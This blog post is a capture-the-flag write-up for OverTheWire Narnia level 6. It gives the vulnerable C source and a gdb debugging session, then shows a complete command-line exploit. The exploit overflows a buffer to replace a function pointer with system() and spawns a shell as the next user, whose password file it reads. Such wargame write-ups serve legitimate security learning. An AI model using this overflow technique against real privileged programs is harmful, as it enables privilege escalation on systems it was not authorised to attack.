OverTheWire.org - Narnia - Level 6 Writeup

The vulnerable code for this level is

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

extern char **environ;

// tired of fixing values...
// - morla
unsigned long get_sp(void) {
       __asm__("movl %esp,%eax\n\t"
               "and $0xff000000, %eax"
               );
}

int main(int argc, char *argv[]){
        char b1[8], b2[8];
        int  (*fp)(char *)=(int(*)(char *))&puts, i;

        if(argc!=3){ printf("%s b1 b2\n", argv[0]); exit(-1); }

        /* clear environ */
        for(i=0; environ[i] != NULL; i++)
                memset(environ[i], '\0', strlen(environ[i]));
        /* clear argz    */
        for(i=3; argv[i] != NULL; i++)
                memset(argv[i], '\0', strlen(argv[i]));

        strcpy(b1,argv[1]);
        strcpy(b2,argv[2]);
        //if(((unsigned long)fp & 0xff000000) == 0xff000000)
        if(((unsigned long)fp & 0xff000000) == get_sp())
                exit(-1);
        setreuid(geteuid(),geteuid());
    fp(b1);

        exit(1);
}

The executable use the stack to allocate:
  • 8 bytes buffer "b1"
  • 8 bytes buffer "b2"
  • a pointer "fp" to the function puts() that write b1 to the stdout
We can control the buffers b1 and b2 by means of command line arguments argv[1] and argv[2] because there are two unsafe strcpy() functions.
Just before exiting, the executable calls puts() using the pointer fp with b1 as parameter

Using parameters longer than 8 bytes we can overwrite the function pointer fp and
change the flow of execution.
But there is a protection code at line 31: it checks that the pointer
doesn't beging with 0xff.
If it begins with 0xff it exits immediately without executing the funciton pointed by fp.

Let's try to play with command line parameters in gdb.
Let's disassemble, put a break just before the fp(b1), set an input composed by 7x"A" and 8x "B" , run and look at the stack when the debugger break:

narnia6@narnia:~$ gdb /narnia/narnia6
.....
Reading symbols from /narnia/narnia6...(no debugging symbols found)...done.
(gdb) disassemble main
Dump of assembler code for function main:
...
  0x080486d8 <+304>:   call   0x8048450 <setreuid@plt>
   0x080486dd <+309>:   add    $0x8,%esp
   0x080486e0 <+312>:   lea    -0x14(%ebp),%eax
   0x080486e3 <+315>:   push   %eax
   0x080486e4 <+316>:   mov    -0xc(%ebp),%eax
   0x080486e7 <+319>:   call   *%eax
   0x080486e9 <+321>:   add    $0x4,%esp
   0x080486ec <+324>:   push   $0x1
   0x080486ee <+326>:   call   0x8048440 <exit@plt>
End of assembler dump.
(gdb) set args "AAAAAAA" "BBBBBBBB"
(gdb) break *0x080486e7
Breakpoint 1 at 0x80486e7
(gdb) r
Starting program: /narnia/narnia6 "AAAAAAA" "BBBBBBBB"

Breakpoint 1, 0x080486e7 in main ()
(gdb) info registers
eax            0x8048430        134513712
ecx            0x36b6   14006
edx            0x0      0
ebx            0x36b6   14006
esp            0xffffd6a8       0xffffd6a8
ebp            0xffffd6c8       0xffffd6c8
esi            0x3      3
edi            0xf7fc5000       -134459392
eip            0x80486e7        0x80486e7 <main+319>
eflags         0x286    [ PF SF IF ]
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x0      0
gs             0x63     99
(gdb)  x/10w 0xffffd6a8
0xffffd6a8:     0xffffd6b4      0x42424242      0x42424242      0x41414100
0xffffd6b8:     0x00414141      0x08048430      0x00000003      0x00000000
0xffffd6c8:     0x00000000      0xf7e2a286
(gdb) x/wx 0x08048430
0x8048430 <puts@plt>:   0x99c825ff


The flow pause just before calling fp(b1), which is the line "0x080486e7 <+319>: call *%eax"
The register eax contains  address 0x08048430.
This memory location contains the PLT entry of puts
Furthermore this address is on the stack just after b1 buffer (the 0x41 sequence)
Let's try to use a longer command parameter like: "AAAAAAAACCCC" "BBBBBBBB"

(gdb) set args "AAAAAAAACCCC" "BBBBBBBB"
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia6 "AAAAAAAACCCC" "BBBBBBBB"

Breakpoint 1, 0x080486e7 in main ()
(gdb) info registers
eax            0x43434343       1128481603
ecx            0x36b6   14006
edx            0x0      0
ebx            0x36b6   14006
esp            0xffffd6a8       0xffffd6a8
ebp            0xffffd6c8       0xffffd6c8
esi            0x3      3
edi            0xf7fc5000       -134459392
eip            0x80486e7        0x80486e7 <main+319>
eflags         0x286    [ PF SF IF ]
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x0      0
gs             0x63     99
(gdb) stepi
0x43434343 in ?? ()


So the execution flow is redirected to 0x43434343 (i.e. Hexcode of "CCCC")

Next step is to find some function that can be helpful  to execute something instead of printing like puts().
Let's say we want to use system().. Then search for it in memory:

(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia6 "AAAAAAAACCCC" "BBBBBBBB"

Breakpoint 1, 0x080486e7 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0xf7e4c850 <system>


The address of system is 0xf7e4c850. Let's reverse it (Intel is little-endian) and use it.
This time with ltrace:

narnia6@narnia:~$ ltrace /narnia/narnia6   $(python -c 'print "A"*8 + "\x50\xc8\xe4\xf7"') "BBBBBBBB"
...
geteuid()                                                                                        = 14006
geteuid()                                                                                        = 14006
setreuid(14006, 14006)                                                                           = 0
--- SIGCHLD (Child exited) ---


Nothing happens, quite disappointing...
But let's retry increasing the lenght of the second parameter adding a "C"

narnia6@narnia:~$ ltrace /narnia/narnia6   $(python -c 'print "A"*8 + "\x50\xc8\xe4\xf7"') "BBBBBBBBC"
setreuid(14006, 14006)                                                                           = 0
sh: 1: C: not found
--- SIGCHLD (Child exited) ---

OK... now it's tryng to execute a file "C"


It works and execute the file C!
So now replace "C" with "/bin/sh"

narnia6@narnia:~$  /narnia/narnia6   $(python -c 'print "A"*8 + "\x50\xc8\xe4\xf7"') "BBBBBBBB/bin/sh"
$ id
uid=14007(narnia7) gid=14006(narnia6) groups=14006(narnia6)
$ cat /etc/narnia_pass/narnia7
a*******u
$


This tecnique is still a buffer overflow but showed that there are other areas of memory for exploiting, not only stack.
Two of them are named GOT (Global offset table) and PLT (procedure Linkage Table) and can be used in some scenarios.

No comments:

Post a Comment

Note: Only a member of this blog may post a comment.